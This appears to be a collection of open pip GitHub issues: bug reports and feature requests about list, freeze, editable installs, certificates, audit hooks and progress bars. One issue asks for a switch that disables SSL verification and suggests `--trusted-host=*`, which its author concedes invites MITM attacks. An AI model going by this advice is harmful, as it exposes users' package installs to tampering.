Running `pip list --outdated --pre` gives a list of all packages that can be upgrade to a pre-release/development version.

Running `pip list --pre` gives a list of all installed packages, including those that are currently at a pre-release/development version.

The behavior of `--pre` is different in these 2 cases: The first decides the upgrade policy, while the second is just a list filter.

**Broken behavior**

The `--pre` filter in the `pip list --outdated --pre` gets applied twice in a sense:

1. First the pip list command is run against `--pre` so we have _all packages including pre-releases_.
2. Then the `--pre` upgrade policy is applied, so upgrades to all packages where a pre-release is available is shown.

**How to Reproduce**

First, install 2 packages where the meaning of `--pre` is different:

```
# Install stable version of this
pip install Jinja2 
# Install pre-release version of this
pip install mistune==2.0.0a4
```


**Output**

First we run `pip list --outdated`. Since Jinja2 is already at the most stable version, and there are no stable upgrades on mistune, this list is empty.

```
```

Then, we run it with the `--pre` flag to attempt _an upgrade on mistune_, which has a new pre-release.

```
pip list --outdated --pre
Package            Version Latest   Type
------------------ ------- -------- -----
Jinja2             2.11.2  3.0.0a1  wheel
mistune            2.0.0a4 2.0.0a5  wheel
```

This is where the ambigous behavior shows up, since `--pre` is taken as the upgrade policy and a upgrade for `Jinja2` is also suggested.
user: captn3m0
labels: C: list/show: 'pip list' or 'pip show'
UX: User experience related
issue_8981: state: open
title: New feature idea: create a "minimal" pip freeze option
body: **What's the problem this feature will solve?**
When I create the requirements file with the **pip freeze** command (`pip freeze > requirements.txt`) there are many packages, most of which are dependencies of other packages.

**Describe the solution you'd like**
An additional option like `pip freeze --min > requirements.txt` which writes only the top-level packages needed in the project. I give an example.

I create a project and install the tensorflow and keras packages. What I would like is a command that only provides these 2 packages, because they already install the other required packages (their dependencies).

*Current situation:*
`pip install keras tensorflow && pip freeze > requirements.txt`

*requirements.txt file:*
```
absl-py==0.10.0
astunparse==1.6.3
cachetools==4.1.1
certifi==2020.6.20
chardet==3.0.4
freeze==3.0
gast==0.3.3
google-auth==1.22.1
google-auth-oauthlib==0.4.1
google-pasta==0.2.0
grpcio==1.32.0
h5py==2.10.0
idna==2.10
importlib-metadata==2.0.0
Keras==2.4.3
Keras-Preprocessing==1.1.2
Markdown==3.3
numpy==1.18.5
oauthlib==3.1.0
opt-einsum==3.3.0
protobuf==3.13.0
pyasn1==0.4.8
pyasn1-modules==0.2.8
PyYAML==5.3.1
requests==2.24.0
requests-oauthlib==1.3.0
rsa==4.6
scipy==1.5.2
six==1.15.0
tensorboard==2.3.0
tensorboard-plugin-wit==1.7.0
tensorflow==2.3.1
tensorflow-estimator==2.3.0
termcolor==1.1.0
urllib3==1.25.10
Werkzeug==1.0.1
wrapt==1.12.1
zipp==3.3.0
```

*With the new feature:*
`pip install keras tensorflow && pip freeze --min > requirements.txt`

*requirements.txt file:*
```
Keras==2.4.3
tensorflow==2.3.1
```

**Additional context**
I wrote a simple python script that achieves this goal. Maybe this can help with development.

user: danielefundaro
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_8949: state: open
title: Ignore installed option is not honored in editable mode
body: **Environment**

* pip version: 20.2.3
* Python version: 3.8.2
* OS: macOS 10.15.6 / CentOS 7.7

**Description**

The [--ignore-installed](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-i) option does not work as expected when installing a package in [editable mode](https://pip.pypa.io/en/stable/reference/pip_install/#editable-installs).

(Related to this [post](https://stackoverflow.com/questions/64108932/pip-install-in-editable-mode-always-uninstall-existing-distribution) on stackoverflow)

**Expected behavior**

Existing distributions should not be uninstalled, as it is the case when installing Python package in non-editable mode with the [--ignore-installed](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-i) option.

**How to Reproduce**

1. Install a Python package.

```shell
> pip install six
```

2. Verify that [--ignore-installed](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-i) option is honored for packages in non-editable mode:

```shell
> pip install --prefix /tmp/test --ignore-installed six
```

2. Verify that [--ignore-installed](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-i) option is **not** honored for packages in editable mode:

```shell
> git clone https://github.com/benjaminp/six.git
> export PYTHONPATH=/tmp/test/lib/python3.8/site-packages
> pip install --prefix /tmp/test --ignore-installed -e six/
```

**Output**

1. Install a Python package.

```shell
> pip install six
Collecting six
  Downloading six-1.15.0-py2.py3-none-any.whl (10 kB)
Installing collected packages: six
Successfully installed six
```

2. Verify that [--ignore-installed](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-i) option is honored for packages in non-editable mode:

```shell
# Install 'six' to a different location.
> pip install --prefix /tmp/test --ignore-installed six
Collecting six
  Downloading six-1.15.0-py2.py3-none-any.whl (10 kB)
Installing collected packages: six
Successfully installed six

# Ensure that it has been installed properly.
> ls /tmp/test/lib/python3.8/site-packages/ | grep six
six-1.15.0.dist-info/
six.py

# Ensure that previous distribution hasn't been removed.
> pip list --format=freeze | grep six
six==1.15.0
```

2. Verify that [--ignore-installed](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-i) option is **not** honored for packages in editable mode:

```shell
# Clone 'six' package testing.
> git clone https://github.com/benjaminp/six.git

# Installing editable packages requires output lib directory to be in sys.path. 
> export PYTHONPATH=/tmp/test/lib/python3.8/site-packages

# Install 'six' to new location in editable mode.
> pip install --prefix /tmp/test --ignore-installed -e six/
Obtaining file:///Users/jeremyr/dev/github/six
Installing collected packages: six
  Attempting uninstall: six
    Found existing installation: six 1.15.0
    Uninstalling six-1.15.0:
      Successfully uninstalled six-1.15.0
  Running setup.py develop for six
Successfully installed six

# Ensure that it has been installed properly.
> ls /tmp/test/lib/python3.8/site-packages/ | grep six
six.egg-link

# Reset sys.path to check existing distribution. 
> unset PYTHONPATH

# Verify that existing distribution has been removed.
> pip list --format=freeze | grep six
```

user: buddly27
issue_8945: state: open
title: Suggestion - pip list with summary
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
When i make a **pip list** i see a lot of modules, but i don't easily remember what it each module :smile: 

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
Is it possible to have one **pip list** which return the summary of each module ? or an argument on this command ?

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

user: jeanphibaconnais
labels: C: list/show: 'pip list' or 'pip show'
type: support: User Support
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_8943: state: open
title: Feature Idea: Estimate the length of time the resolver will take to run based on the list of packages
body: **What's the problem this feature will solve?**
As the team has been discussing the new resolver for pip 20.3 and challenges with the length of time the resolver can take, we have been thinking about tools or improvements to help users.

**Describe the solution you'd like**
The idea would be to have a way to estimate how long the dependency resolution might take. This could then be the first step of running the resolver OR be something that a user could call, e.g. pip check resolver estimate (or something that makes logical sense with the other commands and flags).

This would enable pip users to get an approximate time estimate and know what to expect from the dependency resolve. 

**Alternative Solutions**
The team is working on additional ideas, but I wanted to open an issue to document this idea. In an ideal scenario, the new resolver performance improves and doesn't run into these issues, but a way to estimate the length of time might still be useful for testing and troubleshooting issues.


user: georgiamoon
issue_8938: state: open
title: Provide audit hook events during package installation
body: **What's the problem this feature will solve?**
This feature will enable third party tools to intercept package installations that could provide features such as:
- audit installed code for security purposes before any code execution takes place (such as running setup.py which could contain malware)
- verify installed packages, for example, code signing wheels or individual packages (PGP or other mechanisms)
- check for typosquatting or against blacklist/whitelist of packages

This is just an example list of features that the third party implementations can provide by listening to the installation audit hooks.

**Describe the solution you'd like**
pip can leverage the functionality as described in PEP 578 to fire (custom) sys audit hooks before installation takes place which is native in Python 3.8+ and aims to provide visibility into the Python process for external monitoring systems.

The audit hook (for example `"pip.install"`) should also pass metadata about the installation in the same manner (tuple of arguments) as the builtin python hooks are already doing

Proposed example of audit arguments:
- audit hook or pip version number as first argument so the format can be changed or extended in future pip versions if needed
- type of the installed package which would allow differentiating between wheels, sdists, local installs from a file/directory, git repositories etc...
- name of the package
- URL of the package
- package specifiers such as "==2.0.1" parsed from the requirements file
- dependency chain `(x, y, z, ...)` where x is the package being installed (name) and `y` is the parent package which has `x` as the dependency, `z` has a dependency `y` and so on up to the root level/package
- hash (from requirements file)
- filename such as `simplewheel-1.0-py2.py3-none-any.whl`
- local path to the downloaded file (preferable), or directory that contains the package files that is going to be installed (e.g. directory that contains setup.py, pyproject.toml etc..)
- additional flags (int combined using bitwise or) to denote attributes such as editable install, is_pinned, update (package is being updated)

Since not all installation/invocation methods provide the necessary attributes, those that are missing (for example hash of the package) should be replaced with None if not available. All of the proposed example metadata arguments are already available in the `InstallRequirement` class from which they can be extracted into the tuple and passed to the audit hook.

These arguments should be sufficient for external monitoring tool/listening audit hook to make an informed decision about the installed package and prevent package installation by raising an exception inside the hook handler to prevent the installation of the package and any code execution e.g. running setup.py. As denoted in PEP, the exception raised inside the audit hook should not be catched by pip and just propagated further resulting in an unhandled exception, maybe including cleanup of temporary data created by pip?

There could be also other audit hooks fired by pip such as uninstall of a package or pip invocation itself (e.g. `pip.invoked` with sys.argv as audit tuple arguments)


**Alternative Solutions**
entry points would allow for almost the same functionality however there might be few additional problems related to that. The first is speed as the entrypoints would need to be imported during pip invocation which could add to delay. Exceptions thrown during that time (entrypoint import) could also cause pip to crash if not handled properly. I believe the system audit hooks are superior as they fit nicely into the python ecosystem since that is the reason why the audit hooks were designed in the first place and avoid reinventing the wheel. Also, the cited PEP would provide better reference implementation over decisions such as the above-mentioned exception throwing.

**Additional context**
There were already similar tickets or discussions about providing a "plugin" or "hook" functionality that allows to extend the installation process or gives visibility/auditing into packages that are going to be installed. The closes feature probably being https://github.com/pypa/pip/issues/1035

There are few distinctions in the previous discussion/feature request vs. firing an audit hook. The discussion In that ticket got steered how the signature verification should be correctly implemented since getting the cryptography right is difficult and the same could be argued about the audit hooks, however, they are not designed to provide security mechanisms or sandboxing but merely just visibility into the blackbox that Python is and the same principle can be applied to pip installing packages which is a de-facto default tool in all modern Python installations.

I understand the reluctance to provide a public API as that brings problems with maintainability. That could be improved or made better by selecting different kind of attributes that are passed as metadata to the audit hook and with a combination of version numbers future proof for any potential changes that might occur. Alternatively the maintainability problem could be resolved almost completely by just passing (<pip_version>, <pip._internal.req.InstallRequirement object instance>) as the hook arguments and leaving the extraction of the necessary information to the monitoring system itself.
user: RootLUG
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_8889: state: open
title: pip ignores the --cert argument when fetching build dependencies
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 20.2.3
* Python version: 3.7.9
* OS: docker image (Ubuntu 18.04)

**Description**
<!-- A clear and concise description of what the bug is. -->
`SSLCertVerificationError` when pip tries to install build dependencies. 
When supplying `--index-url URL` and `--cert PATH`, pip uses both argument when fetching the requested packages but not when fetching build dependencies.

The supplied `--cert` argument is not forwarded when attempting to download the build dependencies whereas the `--index-url`/`-i` is.

Logs (sensitive information redacted) :
```
ERROR: Command errored out with exit status 1: /usr/local/bin/python /usr/local/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-wbotwze8/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://internal-mirror.net/api/pypi/repository/simple -- 'setuptools>=41.0' setuptools-scm wheel Check the logs for full command output.
```

```
root@ed7da1517ca1:/# python -m pip install -U --index-url https://internal-mirror.net/api/pypi/repository/simple     --cert /etc/ssl/certs/ca-certificates.crt    black
Looking in indexes: https://internal-mirror.net/api/pypi/repository/simple
Collecting black
  Using cached https://internal-mirror.net/api/pypi/repository/packages/dc/7b/5a6bbe89de849f28d7c109f5ea87b65afa5124ad615f3419e71beb29dc96/black-20.8b1.tar.gz (1.1 MB)
  Installing build dependencies ... error
  ERROR: Command errored out with exit status 1:
   command: /usr/local/bin/python /usr/local/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-wbotwze8/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://internal-mirror.net/api/pypi/repository/simple -- 'setuptools>=41.0' setuptools-scm wheel
       cwd: None
  Complete output (9 lines):
  Looking in indexes: https://internal-mirror.net/api/pypi/repository/simple
  WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
  WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
  WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
  WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
  WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
  Could not fetch URL https://internal-mirror.net/api/pypi/repository/simple/setuptools/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='internal-mirror.net', port=443): Max retries exceeded with url: /api/pypi/repository/simple/setuptools/ (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))) - skipping
  ERROR: Could not find a version that satisfies the requirement setuptools>=41.0 (from versions: none)
  ERROR: No matching distribution found for setuptools>=41.0
  ----------------------------------------
ERROR: Command errored out with exit status 1: /usr/local/bin/python /usr/local/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-wbotwze8/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://internal-mirror.net/api/pypi/repository/simple -- 'setuptools>=41.0' setuptools-scm wheel Check the logs for full command output.
```

When running the problematic command alone, the same error occurs as the `--cert` option is not supplied:
```
root@ed7da1517ca1:/# /usr/local/bin/python /usr/local/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-tq9w5igb/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://internal-mirror.net/api/pypi/repository/simple -- 'setuptools>=41.0' setuptools-scm wheel
Looking in indexes: https://internal-mirror.net/api/pypi/repository/simple
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
Could not fetch URL https://internal-mirror.net/api/pypi/repository/simple/setuptools/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='internal-mirror.net', port=443): Max retries exceeded with url: /api/pypi/repository/simple/setuptools/ (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))) - skipping
ERROR: Could not find a version that satisfies the requirement setuptools>=41.0 (from versions: none)
ERROR: No matching distribution found for setuptools>=41.0
```


**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
- Fetch the packages using the provided arguments `--index-url` and `--cert`
- Fetch the build dependencies (setuptools...) also using the formerly provided arguments `--index-url` and `-cert`
- Install build dependencies
- Install packages


**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Start a debian based docker image with Python (`docker run python:3.7`)
2. Install black from your internal https mirror (using the appropriate --index-url MIRROR_URL and --cert CA_BUNDLE_PATH) : `python -m pip install -U --index-url https://internal-mirror.net/api/pypi/repository/simple     --cert /etc/ssl/certs/ca-certificates.crt    black`
3. pip will sucessfully download black but fail due to a SSLError when installing build dependencies (setuptools) as the provided `--cert` argument doesn't seem to be taken into account when fetching build dependencies.

**Output**

```
root@ed7da1517ca1:/# python -m pip install -U --index-url https://internal-mirror.net/api/pypi/repository/simple     --cert /etc/ssl/certs/ca-certificates.crt    black
Looking in indexes: https://internal-mirror.net/api/pypi/repository/simple
Collecting black
  Using cached https://internal-mirror.net/api/pypi/repository/packages/dc/7b/5a6bbe89de849f28d7c109f5ea87b65afa5124ad615f3419e71beb29dc96/black-20.8b1.tar.gz (1.1 MB)
  Installing build dependencies ... error
  ERROR: Command errored out with exit status 1:
   command: /usr/local/bin/python /usr/local/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-wbotwze8/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://internal-mirror.net/api/pypi/repository/simple -- 'setuptools>=41.0' setuptools-scm wheel
       cwd: None
  Complete output (9 lines):
  Looking in indexes: https://internal-mirror.net/api/pypi/repository/simple
  WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
  WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
  WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
  WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
  WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))': /api/pypi/repository/simple/setuptools/
  Could not fetch URL https://internal-mirror.net/api/pypi/repository/simple/setuptools/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='internal-mirror.net', port=443): Max retries exceeded with url: /api/pypi/repository/simple/setuptools/ (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1091)'))) - skipping
  ERROR: Could not find a version that satisfies the requirement setuptools>=41.0 (from versions: none)
  ERROR: No matching distribution found for setuptools>=41.0
  ----------------------------------------
ERROR: Command errored out with exit status 1: /usr/local/bin/python /usr/local/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-wbotwze8/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://internal-mirror.net/api/pypi/repository/simple -- 'setuptools>=41.0' setuptools-scm wheel Check the logs for full command output.
```
user: guillaumerenault
issue_8877: state: open
title: Pip really should consider including an option to disable ssl verification entirely
body: **What's the problem this feature will solve?**

Pip is the key tool for the python community. Conda repositories are usually good enough but sometimes we really should use pip. 
There are still a large amount of users that are incapable of properly setting the ssl like myself, especially if they are behind the corporate firewall. Okay, one may extract the certificate from the company. Then convert it to pem. Then use --cert option. Yes, and we can also specify trusted-hosts. If we use some other channels to download, we add them again, and again.

No, we have other problems to solve. The community  usually suggests alternative approaches like adding trusted domains, but if we set some hosts as trusted, then we are already vulnerable to MITM attack. There is no point of not allowing disable options for the entire ssl verification.

Many tools including conda accepts options like ssl_verify: false. Yes it is not a good practice, but we really need it sometimes.

Pip can be invoked by other tools as well, whose users are generally not an expert. Add command line options may not be a easy fix for such case. You have to find the appropriate options for the application, add argument, and add trusted-host one by one, whenever they pop up. After a few month, they forgot what they have done and google it, repeat the same failure over again.

**Describe the solution you'd like**
Provide --ssl-verify false, or --no-cert option for pip (and the config as well). There may be some options but it is not documented as I search it. I looked up for the issue tracker, and I see many people suffering for ssl issues; even worse, it can sometimes be due to a bug. Yes it is a dirty fix, and you can print a good warning message every time for it, but it is much better than a simple failure.

**Alternative Solutions**
--trusted-host=*

**Additional context**

user: seminumber
issue_8857: state: open
title: [Speculative] Review usability of compatibility tag options
body: **What's the problem this feature will solve?**
Pip has a number of flags that in theory allow the user to specify that they want to download wheels compatible with a system *other* than the one the command is being run on. However, compatibility tags are not actually defined in a way that allows an application like pip to accurately determine the correct set of tags for another system, without running code on that system. The manylinux tag is a particular example, systems can be configured to report their manylinux compatibility level independently of the system details. There's also been speculation about adding similar features to other systems.

Also, there is no documentation of what are valid values for the various flags (`--platform`, `--implementation` and `--abi`) and it's not actually possible to provide a complete list as platforms can report whatever they choose.

Obviously, in reality, the flags are only used in relatively straightforward ways that don't hit these issues, but it's hard to support a feature that has so many undefined-by-design edge cases.

**Describe the solution you'd like**
Tag compatibility is defined in terms of a set of "supported tags" for a platform. This set can be displayed for any given system by running `pip debug -v`. Generating the list in code can be done with

```python
from packaging import tags
for tag in tags.sys_tags():
    print(tag)
```

The existing `--platform`, `--implementation` and `--abi` options could be replaced with a single `--compatibility-tags` option that specifies a file containing an alternative tag set to use rather than the one for the current system.

This would allow users to exactly define the tag set they want to accept without having to infer the correct platform/abi/implementation information (in the spirit of "explicit is better than implicit"). It is simple enough to generate a list of valid tags on a system that the need to explicitly enumerate the tags should not be a major practical issue.

It also allows users to explicitly look up what files they want from PyPI and specify precisely those tags, for even greater control - it's not clear that there is a use case for that level of precision, but there are indications that this is what people currently do when trying to get the "right" tags.

Deprecation of the existing flags would need to be done carefully, as with any deprecation, because it's difficult to determine in advance how people use the feature. But the new option could easily be added in advance of any deprecation (the current flags should be ignored, and a warning issued saying this has happened, if the new option is supplied as well as the current one).

**Alternative Solutions**
I haven't really thought much about alternative approaches here - suggestions would be welcome.

In particular, I have not looked at changing the design of the tag system - any such change would require a PEP/specification change, and would need wider community agreement.

My priority in considering a solution was to make it effective and explicit. I believe that this feature is relatively rarely used, so I prioritised that over making it easy for people who don't understand the tag system to use. My view is that if people frequently want to generate tag sets for "common" system types, a separate utility that did so in a more user-friendly way could be developed:

```bash
$ # This first command only needs to be run once
$ generate-tags "Windows 10" "Python 3.8-64" >win_compat.txt
$ pip download --compatibility-tags win_compat.txt
```

**Additional context**
It should be noted that the compatibility tag system does not have any concept of one tag "implying" another. So, for example, if a wheel says it's compatible with "py3", there is *no* implication that it will work on a system that reports it's compatible with "py38". The target system must explicitly state that it can support "py3" wheels as well as "py38" wheels, or "py3" wheels will be skipped as not compatible. So any solutions that assume it's possible to infer that one tag implies another will not be compatible with the specification (although they may work in all situations that are needed in practice).

user: pfmoore
issue_8852: state: open
title: Pip: Wrong Showing of Progressbar when Downloading Modules
body: _First reported from <https://bugs.python.org/issue41651>._

**Environment**

* pip version: 20.1.1
* Python version: 3.8.2 (release)
* OS: Windows 7 64-bit

**Description**

Command line in Windows the progress bar doesn't work like usual after about half of the downloading process.
Another remarkble bug is the length of the progressbar seems to be lengthened.

**Expected behavior**

The progress bar is expected to be deleted completely, but sometimes it isn't.

**How to Reproduce**

1. Run `py -m pip install ...` or any method to download/update packages via pip.
2. The error above occurs.

**Reason(my opinion)**

I noticed that this bug only happens when the rightmost character reaches the end of the cmd screen. I infer the reason of this bug from the phenomenon: when the progres bar is going to be lengthened, pip will delete the last line. Pip consider the line as an enter that the program output. However, the cmd consider the line as an enter whether it is output by the program or added by cmd itself because of the rightmost character reaches the end of the cmd screen. When pip make cmd delete the last line, pip want cmd to delete the whole progressbar, but cmd only deletes a part of the progressbar which are in the line 2.

**Output**

An instance of the bug, showing what happenred when upgrading pip via py -m pip install --upgrade pip. You can see the progress bar wasn't deleted completly. 
_The deleted progressbar isn't shown._
```

C:\Users\******>py -m pip install --upgrade pip
Collecting pip
  Downloading pip-20.2.2-py2.py3-none-any.whl (1.5 MB)
     |█████████████▌                  | 634 kB 21 kB/s eta 0:00:41
     |██████████████                  | 645 kB 21 kB/s eta 0:00:41
     |██████████████                  | 655 kB 21 kB/s eta 0:00:40
     |██████████████                  | 665 kB 21 kB/s eta 0:00:40
     |██████████████▌                 | 675 kB 23 kB/s eta 0:00:3
     |██████████████▌                 | 686 kB 23 kB/s eta 0:00:3
     |███████████████                 | 696 kB 23 kB/s eta 0:00:3
     |███████████████                 | 706 kB 33 kB/s eta 0:00:2
     |███████████████                 | 716 kB 33 kB/s eta 0:00:2
     |███████████████▌                | 727 kB 28 kB/s eta 0:00:
     |████████████████                | 737 kB 28 kB/s eta 0:00:
     |████████████████                | 747 kB 28 kB/s eta 0:00:
     |████████████████                | 757 kB 23 kB/s eta 0:00:
     |████████████████▌               | 768 kB 23 kB/s eta 0:00
     |████████████████▌               | 778 kB 23 kB/s eta 0:00
     |█████████████████               | 788 kB 20 kB/s eta 0:00
     |█████████████████               | 798 kB 20 kB/s eta 0:00
     |█████████████████               | 808 kB 20 kB/s eta 0:00
     |█████████████████▌              | 819 kB 20 kB/s eta 0:0
     |█████████████████▌              | 829 kB 20 kB/s eta 0:0
     |██████████████████              | 839 kB 25 kB/s eta 0:0
     |██████████████████              | 849 kB 25 kB/s eta 0:0
     |██████████████████              | 860 kB 19 kB/s eta 0:0
     |██████████████████▌             | 870 kB 19 kB/s eta 0:
     |███████████████████             | 880 kB 17 kB/s eta 0:
     |███████████████████             | 890 kB 17 kB/s eta 0:
     |███████████████████             | 901 kB 17 kB/s eta 0:
     |███████████████████▌            | 911 kB 17 kB/s eta 0
     |███████████████████▌            | 921 kB 17 kB/s eta 0
     |████████████████████            | 931 kB 12 kB/s eta 0
     |████████████████████            | 942 kB 12 kB/s eta 0
     |████████████████████            | 952 kB 12 kB/s eta 0
     |████████████████████▌           | 962 kB 13 kB/s eta
     |█████████████████████           | 972 kB 13 kB/s eta
     |█████████████████████           | 983 kB 8.9 kB/s eta
     |█████████████████████           | 993 kB 6.7 kB/s eta
     |█████████████████████▌          | 1.0 MB 6.7 kB/s et
     |█████████████████████▌          | 1.0 MB 6.7 kB/s et
     |██████████████████████          | 1.0 MB 6.7 kB/s et
     |██████████████████████          | 1.0 MB 6.7 kB/s et
     |██████████████████████          | 1.0 MB 8.4 kB/s et
     |██████████████████████▌         | 1.1 MB 8.4 kB/s e
     |██████████████████████▌         | 1.1 MB 8.4 kB/s e
     |███████████████████████         | 1.1 MB 8.8 kB/s e
     |███████████████████████         | 1.1 MB 8.8 kB/s e
     |███████████████████████         | 1.1 MB 24 kB/s et
     |███████████████████████▌        | 1.1 MB 24 kB/s e
     |████████████████████████        | 1.1 MB 16 kB/s e
     |████████████████████████        | 1.1 MB 16 kB/s e
     |████████████████████████        | 1.1 MB 14 kB/s e
     |████████████████████████▌       | 1.1 MB 14 kB/s
     |████████████████████████▌       | 1.2 MB 14 kB/s
     |█████████████████████████       | 1.2 MB 14 kB/s
     |█████████████████████████       | 1.2 MB 12 kB/s
     |█████████████████████████       | 1.2 MB 12 kB/s
     |█████████████████████████▌      | 1.2 MB 12 kB/s
     |██████████████████████████      | 1.2 MB 12 kB/s
     |██████████████████████████      | 1.2 MB 12 kB/s
     |██████████████████████████      | 1.2 MB 19 kB/s
     |██████████████████████████▌     | 1.2 MB 19 kB/
     |██████████████████████████▌     | 1.2 MB 20 kB/
     |███████████████████████████     | 1.3 MB 15 kB/
     |███████████████████████████     | 1.3 MB 15 kB/
     |███████████████████████████     | 1.3 MB 15 kB/
     |███████████████████████████▌    | 1.3 MB 15 kB
     |████████████████████████████    | 1.3 MB 20 kB
     |████████████████████████████    | 1.3 MB 20 kB
     |████████████████████████████    | 1.3 MB 14 kB
     |████████████████████████████    | 1.3 MB 14 kB
     |████████████████████████████▌   | 1.3 MB 14 k
     |█████████████████████████████   | 1.4 MB 14 k
     |█████████████████████████████   | 1.4 MB 14 k
     |█████████████████████████████   | 1.4 MB 14 k
